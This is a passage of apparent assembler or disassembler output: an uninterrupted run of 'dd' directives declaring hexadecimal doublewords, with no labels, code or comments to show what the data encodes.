9A00D7C2h dd 7BDA3F25h, 9DB6F90Eh, 2EA25081h, 9C133F7Fh, 0AAA0B8B0h dd 39D482E0h, 8088548Dh, 0C7A31BB9h, 0AC12C663h, 0ECE09A21h dd 0D621CE13h, 0FE48A3A0h, 4604D961h, 540B1893h, 6050088Ch dd 5B28B185h, 0E91DC86Fh, 4C0730F2h, 82892B05h, 15C26E4h dd 0CCE33B63h, 0C673681Bh, 5E971202h, 6ABB96ACh, 0D53084C4h dd 0EC623861h, 448C4C6Fh, 5000A355h, 0D2F40162h, 0C95A5E14h dd 0A4D24B19h, 63208A00h, 13A3D762h, 214C3BCBh, 84075A4h dd 0D30006DEh, 41666024h, 0A741C0EBh, 9EBD9CADh, 0E38D6F00h dd 59B515A4h, 6C90B593h, 0FC00ABCCh, 31D8A34h, 0D0562Ch dd 0CD6DE31h, 0FEAECA21h, 5C461CBh, 18AC463Ch, 582C0D38h dd 11AC2449h, 16400A86h, 0C340AC9Bh, 39A043Dh, 0A764ACFEh dd 8EA8A6D1h, 0C9F93D3h, 0D4BB34F0h, 10E88C50h, 28EEE8Ch dd 27912D9Ah, 18C0B8FAh, 0BF067230h, 886A182Ch, 0A5871D99h dd 7909201Bh, 453D7C8h, 20604E24h, 6323DAA3h, 20511AEh dd 0F5A318DBh, 60347C5Bh, 0B2231BA7h, 0F3C8D09h, 49040F43h dd 0C7489092h, 217C98E7h, 0EF88DC13h, 0CE2F0123h, 0D9016E7Ah dd 96218BB7h, 8C4582Bh, 0FD370925h, 0D3A5E002h, 2010DC69h dd 8A620FCh, 0B8FE412Ah, 8C98293Eh, 0F9934A53h, 10AF00F2h dd 0A8E8C5DFh, 1F00816Dh, 8FBCC2F6h, 0EE2F682Ah, 1BC4029Dh dd 50211370h, 40E3E084h, 7B1C0681h, 0B4D0Ah, 70D35000h dd 18C3B27Eh, 15CF85Ch, 0DD36021Dh, 20E25Dh, 0E84398h dd 0CFCEECBCh, 92707BDEh, 847E027Ch, 38E854E7h, 6113FC84h dd 0DC6125D1h, 0FC37F804h, 0CAE58C68h, 1700F75Ch, 0E85D0B76h dd 0BA431D73h, 869F2AB8h, 1358B08Ch, 48F0B3FFh, 0C6C2C06Ch dd 0F873E055h, 916C99B4h, 7C1F267Ch, 0F40EE00h, 58262F9Ah dd 2D18708Bh, 0B23D6811h, 0D039DA0Bh, 60908CA3h, 8DDB27AAh dd 0CF06CCC2h, 0A23F2049h, 0A4B43E3Ch, 6B0404FFh, 0BF225F14h dd 53A46A20h, 0E8E55CA2h, 0F6827316h, 134D0760h, 0DEA7F3FBh dd 47832050h, 0A75D383Eh, 0E80A2479h, 4EE4148h, 207BD1ABh dd 0A90C3054h, 505E1786h, 93E53021h, 338EAA29h, 13188465h dd 0F7DEC42h, 5A0B0367h, 20FCC1CCh, 0BCB428B5h, 660F8C57h dd 20870A98h, 5008A1A6h, 48B60067h, 0FA99A7Ah, 0E70B892Ch dd 97D10509h, 805C915Ch, 0CAFC06AAh, 4FED0280h, 87C8DC81h dd 0ECD47262h, 0DA207D80h, 941DD3E9h, 905D021Ch, 1041ED62h dd 2E0BF4D1h, 5E3488A8h, 800720h, 0B1A3ED76h, 0BEA087E2h dd 62C4819Dh, 4980116Bh, 701A23CAh, 88B5C321h, 6708A8B4h dd 0B2C81699h, 0B91D0080h, 27518684h, 0B172EAh, 14675AA4h dd 2BE3F776h, 21666912h, 2C888412h, 0E501E9AFh, 0DB498316h dd 0C8316881h, 48538590h, 5404C7E6h, 0B467181Ah, 0AAE266F0h dd 4FADD318h, 5A9ED7A8h, 186881DAh, 18407E6Ch, 1D7A054Eh dd 80804EE5h, 2148A858h, 24440950h, 7D8079D4h, 62BA3205h dd 0F0D00563h, 4895E0Bh, 47AA6A15h, 80C8A01Dh, 68AB102h dd 82348752h, 4131B2C0h, 0C1CC1024h, 68914Ah, 0AB8FF058h dd 7300AA51h, 0A61657CBh, 796889DDh, 0DB3B0015h, 0A76AC2CCh dd 517E894h, 70A05EAFh, 0F4C7487Ah, 5EF01610h, 3AFE3CC8h dd 9A846C6Fh, 0A0BCC5FBh, 28CCB2Ch, 52055DBh, 7A19B6D0h dd 55D21E10h, 0AC60470Bh, 967807CBh, 5FDA09B8h, 80C48064h dd 5C02E75Ah, 907009D3h, 7E0F503Ch, 6F1F9C92h, 0A4652311h dd 0EA44D7D4h, 50F8A2DFh, 0D3808A1Ch, 48D2050h, 8B253Fh dd 16CA56E0h, 1D298Ah, 0CFEB9D01h, 0BF79B373h, 0E4397E28h dd 0D53B1E12h, 734FC4C8h, 226C00C9h, 4E5E2188h, 6E8C80Fh dd 7135D000h, 0B5541612h, 0B4505147h, 0C7480A3Eh, 55E0CE94h dd 0B4F0051Ch, 4A512C94h, 9FD455E0h, 0CF9348A5h, 0E39F7Ch dd 9542C01Eh, 0ACA0FB92h, 5E8001FEh, 0FAA0166Bh, 0BF7802F4h dd 0DC035C92h, 7114AA22h, 66508048h, 0A5096F4Ah, 0C4D8D851h dd 8A921E3h, 14742466h, 0C08092BDh, 0C0FF2F26h, 6BE20420h dd 0E4A232E5h, 9E027CCCh, 0CB7110Fh, 7D59005Fh, 5C004E99h dd 0B51FDD9Ch, 5865164Ah, 710E46Dh, 17048DCh, 2664ECF8h dd 0FC51816Fh, 701222DDh, 3A5C50CCh, 8E27101Ch, 45000748h dd 111692E8h, 4A628CAEh, 57DC720h, 0BAC4C2EEh, 0A4E474D4h dd 7AF2A4B2h, 0B832630h, 1D3DC42h, 9E6830A3h, 14D4BEE8h dd 0C108625Ch, 0AE0D4DCCh, 3C78006Ah, 67DB3FB2h, 468E600h dd 26664091h, 70A9C1A7h dd 5B6D2F9h, 308B801Eh, 1B8C818Dh, 90609443h, 18192E09h dd 25D2C000h, 9D46AC35h, 0E4001B22h, 19925CBh, 2443AF10h dd 12D4F265h, 0AB68C19Eh, 0F0420E0h, 6024909Eh, 66A93501h dd 702C985Ch, 98C7CBCh, 0AE870B0Eh, 6B77A4A0h, 5CBB09B5h dd 0C780370h, 14E8896Fh, 0B7006519h, 4A0FE2DEh, 3A2E51h dd 0CFD0D847h, 9687F0DCh, 2D4A09Fh, 0A048C174h, 0B7F3BD0h dd 0A187FE5Ah, 0CD0EE88h, 19F8F879h, 0B1CA480h, 11A32CABh dd 1A474802h, 44631602h, 0BC503D0h, 95735C5Bh, 0E8985948h dd 0A4058C78h, 0DDC9A93h, 8D5464C0h, 951414DDh, 1F7834E3h dd 0B714659h, 14A1996Dh, 62E515C9h, 93EE00C0h, 0D3CF1D10h dd 6090BF20h, 7439DF6Ah, 3B79730Eh, 0DA5EA63Fh, 881674C8h dd 9D7DFBA5h, 0C4AC974Ch, 6605798Bh, 11AC92A2h, 49D6CCAh dd 37808F11h, 75DA9BCEh, 1703B727h, 8B059144h, 328C00C4h dd 1EEC382h, 54015A1Bh, 2D866646h, 52E7D1Ch, 30264897h dd 183D7B84h, 62C261Dh, 8004A9D9h, 1C023A46h, 0CE63C6A3h dd 9E28233h, 0CAA37E00h, 0F91E2633h, 0C06F8EA8h, 9A6B50A8h dd 6CE41D90h, 0B08C6217h, 10740558h, 87181F41h, 7A2519AAh dd 0A0C46D05h, 70926F2Eh, 0E19CE1E4h, 5C09EC6Ch, 9C4065DBh dd 7636BF0Bh, 46C0D851h, 0A31A0250h, 32BE63DCh, 0D98098F4h dd 9F40A312h, 62EA0352h, 4261DBFCh, 4BBE9104h, 0F8F56C7Fh dd 0C40DF6E4h, 81FC9968h, 68AF95B8h, 0C0D48800h, 6FD26235h dd 0EF225446h, 624DA81Fh, 0BAF90585h, 0E24F40E4h, 9C71D5B1h dd 0B500F1BCh, 0E05F4510h, 902917E5h, 9C7954E8h, 0C2720518h dd 0B97019EDh, 0DC160110h, 0EB1EBBBEh, 0B71264F0h, 0DE687C0Ah dd 0A04BCC00h, 5217E9BFh, 0BC41ECAh, 0A44AD751h, 9000319Ch dd 1194ACC1h, 0F54EE8h, 5512C76Ah, 5D62184Ch, 24D9E488h dd 421CE943h, 457462Fh, 50230ECh, 28F842A7h, 1E5D104h dd 0F4F4061Bh, 72914373h, 9C631888h, 490A6E0h, 4180DB86h dd 741FA540h, 40B69420h, 631057E3h, 3C1F49B1h, 0B0646F16h dd 3D24EE00h, 300D4692h, 0A2EC000Fh, 7A231F2Ch, 8C0067E2h dd 66D39E41h, 206B61F8h, 0D70B4311h, 0D207DABEh, 1971696Ch dd 140C34C6h, 314561DCh, 0D4020953h, 0A8901FCDh, 89C05842h dd 6DD0F767h, 0E31300B9h, 0DD1D06BEh, 6C38D71Ch, 320585C2h dd 88202665h, 5EE72170h, 614097B9h, 6804B2F9h, 7BE20CDCh dd 269F69B1h, 0AD8C0AAFh, 0D362E448h, 9034A124h, 4CE0C264h dd 9C000CAh, 0BB6ADA75h, 64BAB6EBh, 98F9820Ah, 5D04E079h dd 0C4CC39C3h, 0E1E01DB3h, 0F3CA80ADh, 551A9ED7h, 53E48482h dd 0D9A31D60h, 11166323h, 15D40006h, 0C7585BA3h, 669018A5h dd 0C4C948EAh, 68D01B0Ah, 3824C870h, 0E82B810Bh, 805382A4h dd 71097E77h, 422DCB4h, 4245AC18h, 20B440EAh, 3C07F6C9h dd 0C53A9507h, 1AE5F939h, 64449C12h, 0E8044A99h, 1EF6400Fh dd 50CD7B5Ah, 36F8C7h, 76A45B78h, 4AE5221Bh, 25E81A02h dd 72D796ABh, 6E3D3CA8h, 107C571Ah, 4B3A9C44h, 1E2408Bh dd 0A8FC879Dh, 0D0920BD4h, 0E92551C5h, 5042914h, 6C872024h dd 0C21F854h, 6216111Ah, 27C5432h, 0DBB45917h, 0F05A1CEDh dd 0EE1220h, 85BE6877h, 0BB216527h, 882838F9h, 7E168187h dd 6073DBA7h, 915AC738h, 0E22B5444h, 0D8881B0Bh, 241E081Ch dd 80BE1C28h, 10A5EF0Ah, 59AE640Dh, 93942441h, 8A29089h dd 184D0C11h, 0DBA3081Fh, 0EC4A663h, 0A317DA40h, 280FCD77h dd 2495523Bh, 658054B3h, 76941DB7h, 0F82D687Bh, 0A295088Ch dd 157B719Eh, 18C4BF96h, 63B820E6h, 9ABE3AB7h, 3815F11Ah dd 7C1A7EC1h, 8C8FE8E4h, 2C9C2F00h, 0B0AD17AAh, 0F409CF2h dd 4A01E9CCh, 82A6CF86h, 0EB116C80h, 169481C8h, 0E048E65Dh dd 3E78B90Ah, 94A5962Dh, 7D90EC70h, 0D3672894h, 0C5AC36E1h dd 908B1A18h, 0FCA625C4h, 0F1CF16D6h, 0A7FF8147h, 0A47C6452h dd 0F4F2806h, 2548A05Ch, 5463FEDAh, 0AA14FFD8h, 0D360D016h dd 60368462h, 0B13C6F1Bh, 4EA9C084h, 4F4CA162h, 80BB80CCh dd 103DBB8h, 118ED0F4h, 351CC797h, 2115F098h, 90230580h dd 0E9E1250h, 0FAF407CBh, 7B03DFAEh, 0E002A762h, 37C3523h dd 10C456B6h, 717BCDBAh, 825B3C24h, 6D0F8CF9h, 0A47BEB2h dd 94A3D411h, 0BB96B946h, 16667024h, 880E7321h, 51C16FBCh dd 569EA085h, 4025C612h, 0ACC354C3h, 2411500Bh, 811888E3h dd 14C7501Bh, 97A0282Dh, 80769134h, 0D85B9311h, 617717BCh dd 246C08AAh, 1820E812h, 13D7C86Ch, 9141697Fh, 0FCF25FF4h dd 843EC28Eh, 0F003FFE6h, 799A186Ah, 9E6780A6h, 0C51B0592h dd 0E0CDDA5Bh, 0C990544h, 40C40196h, 79235C2Eh, 0AA5ADA00h dd 0A38F9386h, 0C052FAB4h, 808467E8h, 0A01787E8h, 0DCD2E7D1h dd 0A319304Fh, 0B663C516h, 1D01438h, 143BA311h, 34F6F9EEh dd 2A3EBE3Ch, 0D9E7926Dh, 0E490B044h, 6F01F842h, 1AA27C6Bh dd 7AD1F451h, 132E1718h, 69086042h, 8D400922h, 1C19C468h dd 772F6A00h, 2870B80h, 0B0049AF1h, 0C15307A0h, 40108606h dd 0F4BB4E12h, 22CE6117h, 0A4169891h, 0AC0E9B00h, 53E3C90Fh dd 205C7268h, 0BD740245h, 0B4D85094h, 9C480033h, 0F9F7C3AAh dd 4BA1B4Ah, 1279A4B9h, 85EC6F18h, 1E790E0Bh, 1190046Dh dd 8410ED12h, 9C94E709h, 0B0E318C1h, 1C48F43Ch, 38C5EBCh dd 119566E0h, 0FBB8F223h, 0DD03C178h, 5140250h, 5E2DAAFh dd 3BD8C07Ah, 4E12BDCEh, 0ACA35EAAh, 87F89A4Bh, 0B500896Ch dd 9583428h, 8A68185Fh, 66201464h, 0E7EF0006h, 4DC771DDh dd 38B012A7h, 561AC520h, 0E048C5Dh, 0E9B97F01h, 0C8743B44h dd 9337107Ch, 834EE33Dh, 41A4999Ch, 531312F1h, 96D3085h dd 0ACE4D2FBh, 6C095CC6h, 0D1427401h, 0F358B180h, 0D15C1385h dd 887015C9h, 63628872h, 0B01C554Bh, 444887C3h, 95E8E0E9h dd 2DDD263Bh, 0C1A20F1Eh, 5C592F62h, 407268E2h, 0ECC71600h dd 0AB073F7Bh, 389501ACh, 64CB56F7h, 0A4C7027h, 911EF42h dd 0DE8C084Bh, 0D6E00E2h, 0B8286A11h, 76F30B01h, 4D24EEC5h dd 219F3830h, 86145EDCh, 0ED72C5BCh, 5006E8C8h, 588D9802h dd 0FDC8F011h, 911017AFh, 59478254h, 2B4DAE5h, 0A0BD7EAFh dd 8C071C3h, 8499149Bh, 88A4F1A5h, 48231EFEh, 6E0E5691h dd 0D19262F9h, 0C63DF60h, 7A1284E2h, 9CECA8D3h, 0C0946689h dd 87798462h, 1E044ADh, 0A1164599h, 5478132Eh, 5C40882Ch dd 0D045D325h, 8D08528h, 28A4410Ch, 82209918h, 11448604h dd 0AB2F0205h, 0C81B3F44h, 5B402450h, 0A07C9Ah, 0B1C5C82h dd 0D36E7764h, 0F07023F5h, 885EDF77h, 2184924Bh, 3E783CDDh dd 0F17A84ECh, 0FC1DED84h, 0B896A96Bh, 4674EC2Ch, 60BC0078h dd 87499115h, 142297A3h, 80803263h, 3793D533h, 12C2C53Ch dd 0B4C00E9Fh, 0C53D1ACAh, 317C57C0h, 2DFE40D4h, 49AD14C0h dd 10EEC8D4h, 1841701Bh, 18A2FC63h, 21A830h, 9ECAA77Eh dd 8E9D80EAh, 0A4B42726h, 0F1E91209h, 320613DCh, 0A82A1060h dd 4180D011h, 746FCE62h, 0E81695h, 0E76239A4h, 0A18A103Fh dd 3CC52A0Bh, 361C02DFh, 10AC5A15h, 51EB5DBh, 0AA6E970Bh dd 2FEDACD2h, 2BDBC3E0h, 0FD1F1CDCh, 180B8870h, 7B404E2h dd 8B22961Dh, 0E307C46Ch, 887CB230h, 17A98718h, 0D67BE219h dd 1FA448ACh, 0D509A599h dd 968C64E0h, 1A04260h, 878B745Ch, 79DC4897h, 295F604Fh dd 0E041E269h, 487EC00h, 0CDCB151Ah, 7E7B77E6h, 7E2F185Ch dd 6C18A162h, 1C1730A4h, 980438ADh, 0D10788D3h, 232E81D7h dd 0F93A0093h, 5F072522h, 0F14F88E7h, 74667580h, 1400B93Ch dd 3215DFCh, 0F40233h, 6D7E6589h, 11585408h, 70F6A727h dd 26DC8E4Ch, 74B80ED5h, 20618FFh, 40343EDAh, 8C760BAAh dd 0F9E7C342h, 1884794Ch, 5DB700C0h, 547038BEh, 0B7466ACh dd 946B1818h, 0A4AB8729h, 0DB6208F8h, 503426Dh, 10C1ABFh dd 0BC70C980h, 3B1EDDAAh, 8123A02Fh, 0CA8DDB00h, 1CF42CACh dd 28BD9E26h, 80A77ADCh, 31C09150h, 493384C1h, 0B0B090h dd 0AFCD930Ch, 96A85E30h, 8E700402h, 5205EA10h, 53A400ECh dd 115DED3Fh, 2CBED03Ah, 1C1D465Eh, 3380F22Dh, 1344A2DBh dd 6FF0C2A1h, 0B07EEF19h, 7102D889h, 36180028h, 0F1C3205Bh dd 0F967EB01h, 938A704Bh, 0E0E5E4h, 33128381h, 0ACE6625Ch dd 97962416h, 96C4840h, 3B42694Eh, 0C0548D8Ah, 39E407B0h dd 0E001A92Ch, 1472377Fh, 0BA66040Eh, 29424C02h, 1E930019h dd 3B07157Bh, 0A0132016h, 0B0AC53D7h, 54E8CAh, 0B062261Dh dd 8B00A411h, 5DD42ACAh, 14E206B9h, 0F82F296Bh, 2EA83607h dd 1449D943h, 93718DEh, 646FC862h, 0A200709Ch, 0C7A624Fh dd 0A928826h, 46CBF017h, 136304A0h, 8756405Fh, 25D044BEh dd 5C450B5Dh, 2C6010C4h, 48009954h, 6E2DD42Eh, 740DED94h dd 0E2410570h, 0B4365963h, 0B240B730h, 19D310A4h, 0A48B921Ch dd 0D5C013C8h, 2EEE3BB8h, 9420C03h, 0D0209ABFh, 0A580A95Ch dd 4E011C14h, 369D04C8h, 0E8AC140Bh, 0EE8C54BCh, 0A70517B6h dd 8AF04076h, 0BFE71BC4h, 0E12E1238h, 6B4D4611h, 0A8432423h dd 0E83318A2h, 0E9CD0Ch, 0DB07ADC8h, 6E17F149h, 6606997h dd 2B6B4D30h, 2FA041BDh, 24029C35h, 5B4A1740h, 7134A948h dd 1E2D18EFh, 0D35B0BC4h, 0C8508BE7h, 3490C081h, 361D29BEh dd 8A405FD9h, 0B78EA8C8h, 344A9F86h, 500905Ah, 3CC44A9Ah dd 5AE555A5h, 87449027h, 4EF04920h, 0B4C21300h, 3145688h dd 0E24CEFh, 5742A24h, 884A2EB3h, 8403D764h, 5A0B39E8h dd 51C815C9h, 7C78985Ch, 5E7318h, 0D5A740F8h, 0CAE81C39h dd 342E87F8h, 0DB0298D3h, 0D0606DD2h, 1674804Ch, 48F7002Ah dd 6870DD58h, 644C9DBBh, 18342234h, 0E1F35E2Ch, 72F11F8h dd 0D08C25ABh, 61E2E8F2h, 0E6D530h, 0C6C0F386h, 0D32EA109h dd 0C4E48B5Ch, 0B8A4E253h, 10414205h, 1A040306h, 536D09EAh dd 1FF264B2h, 487F3E30h, 900B8856h, 20D6C6Fh, 0B20063F0h dd 0DEB3011h, 66955C09h, 797C0222h, 240E0F40h, 0A70170C2h dd 0F4A31C78h, 80EC3DF3h, 869DD0Fh, 9131398h, 20F44B1Ah dd 14ED003Ch, 2EAF18A1h, 753A61BCh, 0CC2A2455h, 48C67702h dd 617C7885h, 6B7148D3h, 9C70A0E7h, 90357920h, 109E2008h dd 5D97E804h, 0F4BC5EB8h, 80ED201Eh, 0D8B1BFDAh, 8F4E96AAh dd 604BD4B0h, 5AD6898Ah, 0EE168031h, 0A8D0420Ch, 0F9F8D4h dd 7627C26Bh, 0A6B037BCh, 6620D10Bh, 0E44CE545h, 917B6007h dd 0AA50096Ch, 6478C38Eh, 18E21CB0h, 9D876822h, 313BC0C4h dd 0C4EB8006h, 0FB1C7B15h, 0E4395C55h, 0AB26ACC2h, 7B608058h dd 0FC1BE3B9h, 1E39012Eh, 0CE95929h, 0B751ADA4h, 0CDEF0004h dd 7A612DB0h, 5BBB702h, 0B5706AFh, 54878C1h, 0A56A6008h dd 1AE00882h, 1053AA03h, 4D0892B8h, 2DB2BC70h, 6C68413Eh dd 5000799h, 329749F8h, 3A137BFh, 307B9885h, 0D090C567h dd 6B1661F6h, 0E4491749h, 280F9AAh, 0CB1ABE63h, 0E54028DCh dd 0E80D6AACh, 7B6B007Dh, 0A49B6F3Ch, 0CA0374BDh, 0CCC884ECh dd 41802624h, 0E91840BCh, 0B67A9242h, 2F86B00h, 46A950DDh dd 0CC3C04C7h, 0A4AC871Ah, 4D1C9A24h, 0C3C16E72h, 0D052A96Ah dd 54F2F432h, 741C7130h, 0B442F9DAh, 0FB94A9B5h, 23E7078h dd 2FFEE700h, 8D2D99C1h, 8F975B8Ch, 0C30D8888h, 0F09F01FEh dd 16F15629h, 63205D04h, 0B68498ABh, 14D04E0h, 0F6EDA918h dd 0CFB2BF0Bh, 0E2381842h, 9BEB300Eh, 11BDB500h, 9166ABCBh dd 871704E8h, 0E8204FA6h, 0DBDCC20Ch, 9F0849BDh, 0E8409429h dd 0BE4988E4h, 84F34E38h, 0AB8EAC78h, 421E1890h, 3A94277Dh dd 8674D882h, 8A047E00h, 0D90A0343h, 87E7F1A0h, 0B45CB4A2h dd 8BBBD042h, 8101D34h, 0F64E305h, 0EC264CCCh, 0E04F6066h dd 0BE2FBDFEh, 0EE6DF901h, 0BB9515A0h, 1062985h, 0A2B0B043h dd 38A199C5h, 44293C8Ch, 14487B1Fh, 3D3B2224h, 76A62E4Ch dd 3929194h, 0FAA0C0C6h, 0E97F80Ah, 4EC00B4h, 0E22AF8F1h dd 2B496563h, 594A07B4h, 0B0B4F96Dh, 2E00D0ECh, 1AD90842h dd 0F72C016Eh, 0F080B0E1h, 315D17E9h, 641495E7h, 0B8FBA40Eh dd 6C7B80EBh, 7C628421h, 0E870051Dh, 0A2979241h, 35DB085Ch dd 0A711024Bh, 590BA4E2h, 180C79C4h, 888F007Dh, 139B367Eh dd 7917BE71h, 40F406EAh, 4342327Dh, 0EC7B13B1h, 6E3B4001h dd 583A9A96h, 0AA7E2958h, 0EA2AFB04h, 0D4A82F18h, 6380E588h dd 2143D59Eh, 8404B688h, 0B5EFFBEh, 3278E1F1h, 0EE41E051h dd 5FDE3980h, 0F1F48AD0h, 0C9972000h, 90087AD7h, 576E3CD8h dd 0AE81AD8Bh, 0AC8468F1h, 0B8B03B2Eh, 0A0849721h, 5CF216E4h dd 0FCCF6304h, 1084B8DBh, 7C4CE777h, 388C0CE8h, 4F007A2Ah dd 5C809B73h, 0C74986AAh, 0D86613ACh, 3D2724B8h, 61DD1460h dd 247A9E58h, 6310B81Fh, 1C704D27h, 71DE2CA1h, 0ECCC3E34h dd 486C761Ah, 0F983001Eh, 0A4E03B6Fh, 0B4BC9DDBh, 0E8CD709h dd 4F15A814h, 9A00ABA8h, 3B789230h, 7CE52953h, 0CF960594h dd 20540279h, 18566418h, 0BEB05D84h, 0F9615E4Fh, 2BE1F6EAh dd 0E985841Dh, 0A8404B8Ah, 23C36877h, 2E48C80Eh, 0B882B410h dd 420105B2h, 0A4685F21h, 4030FEEDh, 4E98096Ch, 0EC0137EEh dd 0E209EA17h, 7EE59611h, 97A80405h, 1174A89Ch, 344EE69Ah dd 0E7D40420h, 74500675h, 59E019B1h, 22CC870h, 870B2095h dd 88A4E17Ah, 7884355Ah, 45B88CF9h, 8A9F0B08h, 414204E7h dd 0A8C885Fh, 0F020B542h, 0CE30F20h, 797A7E77h, 0D7500980h dd 7D133AC8h, 0ECC84FD3h, 6278BCADh, 4F00410Dh, 7F51AAh dd 0A44C80B0h, 657C8DE0h, 0A804975Eh, 0A50223F7h, 2C741E98h dd 59E9A90Bh, 188F7970h, 177D3982h, 52B76D05h, 0BC84BC22h dd 0B80E8C5Bh, 8BB2EB92h, 7044D3A1h, 9715085Eh, 12B4F74Ah dd 0B409D77Eh, 0C4D0C5D0h, 0E9A4605Bh, 838124F5h, 0FE608D4h dd 38EAA04h, 0FC01A0F1h, 103C9EBFh, 6B28E14Fh, 0E5BE7C21h dd 9D6B5E00h, 0AC3C3441h, 8C76BCh, 0D41160C8h, 0E86BCB0Eh dd 7869732Ch, 0E62254A8h, 0BA63165Bh, 50490B58h, 3A4D5402h dd 0D484B45Eh, 34C04379h, 0E3602Dh, 0B029FDCFh, 1F2A492Eh dd 3F67EB01h, 0CCF8BF11h, 0F6685C40h, 0ABE101F4h, 0B39EE456h dd 4CAC336Ch, 0D6F001D4h, 0B4F32165h, 0A858942Bh, 594076C8h dd 8C73525Ch, 47AF1103h, 0E8E1EA9Dh, 0F0108492h, 9F4FECA5h dd 0ECE97604h, 835CC1D0h, 0F1862F45h, 59EA0ABFh, 136D8B18h dd 4865B318h, 0B2DFC5Bh, 63800CB5h, 0CE0A64DAh, 0D0F1267Bh dd 52475E58h, 0BD02563Eh, 42817B94h, 5F448854h, 30EFC34Eh dd 2284B960h, 7F418B5Eh, 0FA2D2C7Ch, 39DB6448h, 283F1F41h dd 1A44F8E4h, 0B438F957h dd 0F1B08A1h, 0C2C01A88h, 0FE4AE2A6h, 302F00BAh, 0CB4E931Bh dd 2E12A264h, 34A8869Fh, 5C0FE8C8h, 17111E91h, 29DC1A05h dd 45600433h, 180C21A9h, 9C17A1A5h, 42891191h, 0B408E48Fh dd 0D0B21512h, 1AA5D400h, 8EA903FDh, 165C6D1Ch, 9E5B5540h dd 0A83B48h, 8DBB9496h, 83117010h, 0D8F0035Ah, 0AED3205Eh dd 5BFE6E48h, 330F8480h, 3B424FA6h, 5C239Ch, 0E08BFB23h dd 0CB0B99D7h, 79AE1E5Eh, 0C2C58B98h, 0FFF8B003h, 9B864A80h dd 0C85F64BAh, 2F71C420h, 3D700ACh, 823EDC2Ch, 0FC1E79CAh dd 3D8296EFh, 554FC0D5h, 7EC8CC20h, 51028B11h, 23551FBDh dd 0E010D5DAh, 24580B9Ah, 20445B00h, 0A400FE5h, 6B3AB5B9h dd 71EF0303h, 0EF202D3Dh, 424ADCB0h, 9F84123Fh, 0DD20215Fh dd 5C6B3EBCh, 793BA700h, 0F556D0B6h, 0CA0F417Fh, 0F40B210Fh dd 2CA35AC8h, 0D9D81201h, 6AB87219h, 0BC78F4CDh, 398C57BCh dd 7CF4DDh, 2BAEDB1Dh, 57010531h, 49791261h, 8F30847Dh dd 901895FFh, 61207C02h, 3A664E4Bh, 0E2437024h, 0FB018505h dd 8820AF2Dh, 0FE835AD7h, 57C500BBh, 5C5144B9h, 0C116C7CFh dd 24E071E0h, 0B3B801Dh, 0D06DE802h, 0F64F9622h, 84242F84h dd 25CE6014h, 0BDAC2141h, 25C7E0C0h, 0DCE109F3h, 0C5E610Ah dd 19519118h, 0F80997B7h, 0C63F201Dh, 7700043Fh, 35360CB0h dd 0A904201Fh, 0EF93949h, 1DF8D8A8h, 72BF008Ch, 0A8BD4F65h dd 48966726h, 33A34007h, 44B19382h, 0FBF10E0h, 459A015Fh dd 34DC996Ah, 6D215031h, 5444D86Eh, 9000A570h, 0EFD3B610h dd 434748Eh, 6DDD61B2h, 0BC80FD17h, 0EF690271h, 0AB096FD4h dd 5879286Ah, 0F8191079h, 66321841h, 0F2E86177h, 7BD7004Ch dd 3EB8FD54h, 380508B4h, 8BE263CCh, 0EA0441BEh, 303031AFh dd 0D9041F3Dh, 23D865CDh, 222100C1h, 0B868ED05h, 0F5A0075h dd 0A9BD6D2Ch, 119F7A45h, 2C3C51FCh, 3B19B78Ch, 1B587BFAh dd 0C13D3050h, 4A5F5EACh, 20949177h, 84022FD7h, 57A8B86h dd 0A041AA0Ch, 40A9063h, 0A604882Fh, 0B649D3Ah, 0FAC71CAAh dd 0E100228h, 60C47033h, 43EDA4C0h, 9C241880h, 0A9574218h dd 50955002h, 707CBB84h, 9712266Eh, 0E8F836A3h, 4AEF2EC3h dd 0DDC5600Bh, 0E50E8280h, 0F15CD97Fh, 249181Fh, 1BC16C51h dd 0E480F73Ah, 58641821h, 6A2A09FDh, 92A700D8h, 0A2D277A9h dd 79611326h, 58B280h, 3C4837A4h, 2C71D1h, 0E3A2B894h dd 0BC4419Bh, 7B5E5A05h, 9BEED5Dh, 0D47AEFB4h, 8054B5BDh dd 61A3A5Ch, 1404DC8Ah, 826F96Eh, 0EC941605h, 0E980C790h dd 9F4E8A9h, 0D8608A07h, 970A3161h, 0C045D32Eh, 423248A8h dd 0F2504104h, 39920294h, 8E64FE7Ah, 16895840h, 1458962Bh dd 37CB2900h, 7DB9D3F7h, 7521C042h, 6870DCD9h, 5C04B612h dd 2D05B4C8h, 0B4E072AFh, 8492F994h, 48C3A544h, 0CC80F0E5h dd 0D9265882h, 0AFAEED01h, 34EB7732h, 0F29239C4h, 5CDB0066h dd 0C75ABE87h, 0D625B0A5h, 18D4AC56h, 0C597054Fh, 0EEB6F4A3h dd 105A6C08h, 0E0A62FD0h, 5B23A3E4h, 5400E0BDh, 227898D1h dd 54179F80h, 0F8805B91h, 3850811Ah, 6EF96F13h, 6116F0C1h dd 0B4581469h, 172710h, 0E09F5D0Fh, 4F317275h, 3940089Dh dd 0CC59A5h, 434EB2C9h, 4B07AC45h, 1796AADAh, 24188838h dd 762CD480h, 120D8AFEh, 82CFE51Eh, 88C50B8Ch, 80651AE4h dd 0F80D7772h, 1E02BBE8h, 7BAA450Bh, 2CCCD681h, 8F2300D4h dd 0B796A924h, 26379940h, 83483D7h, 0E5083245h, 0C23C8313h dd 1A015CFh, 0A700D2DEh, 0BF90BC37h, 939FA2Dh, 7AC32EA2h dd 16A0A848h, 0BD6C1888h, 0E274D066h, 954FC980h, 81463820h dd 3F00134Dh, 2383F45Ch, 1CBE69Dh, 7C86EA47h, 7A022B71h dd 9042100Bh, 1CBEA184h, 18A076h, 0EC8255C1h, 0A20052B1h dd 8E427C11h, 0B4A69DDh, 50EE86D2h, 0CB3914D9h, 3E6840C0h dd 0E6B500DCh, 0BA6DC4D3h, 8F95AA14h, 541A2970h, 3E1C0078h dd 0F9707524h, 0EC0D662Eh, 0B219E353h, 0B42BFDFEh, 459EB4F1h dd 38C463C4h, 0A59DD00h, 3F2F1480h, 249C6842h, 28C37DE0h dd 70CC92D6h, 0FC9E03DDh, 0E8AF886Fh, 6EA09EDFh, 241FBA02h dd 5ECCBD48h, 6A2BA8CDh, 0F5DC146Ch, 86A90B81h, 682020CFh dd 0B581BBBh, 0BCDD8815h, 0D713059h, 9C006C18h, 0D7EC35A9h dd 0EB0A78Dh, 0DD2ADA33h, 5C2165A1h, 0C226AD8h, 0F454294Dh dd 0E8095D10h, 54293173h, 7B11649Dh, 51A6380h, 143C875Dh dd 82D85DA1h, 0F08F86AAh, 39DED8A0h, 0FC0EE6C8h, 60A4C66Bh dd 7B0F6D6Eh, 59970135h, 0A2988277h, 